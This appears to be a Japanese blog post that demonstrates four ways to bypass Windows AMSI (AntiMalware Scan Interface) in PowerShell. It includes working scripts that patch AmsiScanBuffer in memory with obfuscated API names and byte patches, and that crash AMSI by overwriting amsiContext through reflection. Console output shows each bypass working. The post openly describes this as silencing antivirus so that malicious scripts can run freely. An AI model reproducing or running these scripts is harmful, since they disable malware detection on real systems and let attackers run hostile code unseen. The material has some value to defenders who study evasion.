見出し画像

#137 AMSI Bypass

 先日、ネットワークスペシャリスト試験の結果が公開されました。昨年のリベンジを果たし、合格です!うれしい!次はどうしようかな〜

 さて、Windowsには、標準で様々なマルウェア対策が搭載されています。そのひとつがAntiMalware Scan Interface(AMSI)です。実行ファイルやスクリプトをマルウェア対策ソフトがスキャンできるようにインターフェイスを提供しています。
 AMSI自体は、マルウェアの検知を行っているわけではなく、Windows Defenderのようなアンチウイルスソフトに情報を提供するのが役目です。

Microsoftの公式記事によれば、下記のケースでAMSIが活躍します。

- ユーザー アカウント制御または UAC (EXE、COM、MSI、または ActiveX インストールの昇格)
- PowerShell (スクリプト、対話型使用、動的コード評価)
- Windows スクリプト ホスト (wscript.exe と cscript.exe)
- JavaScript および VBScript
- Office VBA マクロ

PowerShellやVBScript、VBAなどで悪いことするとブロックされるのは、AMSIがアンチウイルスソフトに告げ口しているからですね。

逆に言えば、こいつの口を封じてしまえば、アンチウイルスソフトは手の出しようがないわけです。

さあやりましょうか。

AMSI Bypass

AMSIをバイパスする手法は、いくつも編み出されています。

主要なテクニックを大まかに分類すると、下記のようになるかなと思います。

  1. Obfuscation (難読化)

  2. Smuggling (密輸)

  3. Patching (メモリのパッチ)

  4. Crashing (機能の破壊)

それぞれ代表的な手法を試してみます。

1. Obfuscation (難読化)

キーワードやマルウェアの特徴的なパターンをもとに検出されるのを避けるため、同じ処理を別の表現に置き換えます。

一番シンプルな例は、amsiUtilsでしょうか。 これだけで悪性と判定されてしまいます。

PS > 'amsiUtils'
At line:1 char:1
+ 'amsiUtils'
+ ~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

では、amsiUtilsに分けて、結合するようにしてみましょう。

PS > 'ams' + 'iUtils'
amsiUtils

キーワードを分割しただけですが、バイパスできました。同様に、キーワードを分割したり、動的に取得したり、処理を無駄にややこしくすることで検知を回避します。

自動で難読化するツールもあります。Invoke-Obfuscationが有名ですが、あまり更新されてないのでもうだめかもしれません。言語によっても難読化の手法は様々なので、状況に応じて柔軟に対応するのがよいでしょう。


2. Smuggling

スクリプトが静的に解析された結果と、実際の動作の差をついた手法です。言語仕様の隙をついて、文字通り、マルウェアを密輸するような形になります。

$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast  
$ExecutedAst = [ScriptBlock]::Create('amsiUtils').Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
                                                               $null,
                                                               $null,
                                                               $null
                                                               ExecutedAst.EndBlock.Copy(),                                                            
                                                               $null)
$Sb = $Ast.GetScriptBlock() 

実際に紹介されているスクリプトで試してみたところ、すでに対策されているようでした。ちょっと難読化すれば行けるかもしれませんが、だったらこれを使う理由もないですね。


3. Patching (メモリのパッチ)

スクリプトが実行されるとき、AMSIはメモリ上に展開されています。マルウェアが検査される前に、AMSI自体の処理をパッチしてしまえば、ブロックされる心配がなくなります。
具体的には、悪性判定の結果が常にAMSI_RESULT_CLEANになるように変更します。下記の記事を参考にして検証しました。

patch.ps1

$c = 't'
$Win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtec$c(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$nowhere = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($nowhere))
$somewhere = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$notaddress = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($somewhere))
$notp = 0
$replace = 'VirtualProtec'
[Win32]::('{0}{1}' -f $replace,$c)($notaddress, [uint32]5, 0x40, [ref]$notp)
$stopitplease = [Byte[]] (0xB8, 0x57, 0x00, 0x17, 0x20, 0x35, 0x8A, 0x53, 0x34, 0x1D, 0x05, 0x7A, 0xAC, 0xE3, 0x42, 0xC3)
$marshalClass = [System.Runtime.InteropServices.Marshal]
$marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length)

パッチしたあとは、検知回避できていることが確認できます。

PS > 'amsiUtils'
At line:1 char:1
+ 'amsiUtils'
+ ~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS > .\patch.ps1
True
PS > 'amsiUtils'
amsiUtils


4. Crashing (機能の破壊)

ここまでのテクニックは、AMSIが動いているなかでなんとか回避していくものでした。最後は、AMSIを停止に追い込んだあと、好き放題する技です。

AMSIが動作するメモリをうまいこと操作することで、エラーを発生させてスキャンを停止できます。

crash.ps1

$m = [System.Runtime.InteropServices.Marshal]
$a=[Ref].Assembly.GetTypes()
Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
$d=$c.GetFields('NonPublic,Static')
Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}
$g=$f.GetValue($null)
[IntPtr]$ptr=$g
[Int32[]]$buf=@(0)
$m::Copy($buf, 0, $ptr, 1)

ご覧の通り、バイパス成功です。

PS > 'amsiUtils'
At line:1 char:1
+ 'amsiUtils'
+ ~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS > .\crash.ps1
PS > 'amsiUtils'
amsiUtils

個人的にはこれが一番スキです。


まとめ

AMSIバイパスの手法をまとめました。検知回避の方法は、言語や環境によっても様々ですし、日々アップデートされます。今持っている武器に満足せず、新しい武器を仕入れたり、ピカピカに磨いておくことで、いざというときに力を発揮できると、私は思います。

EOF



この記事が気に入ったらサポートをしてみませんか?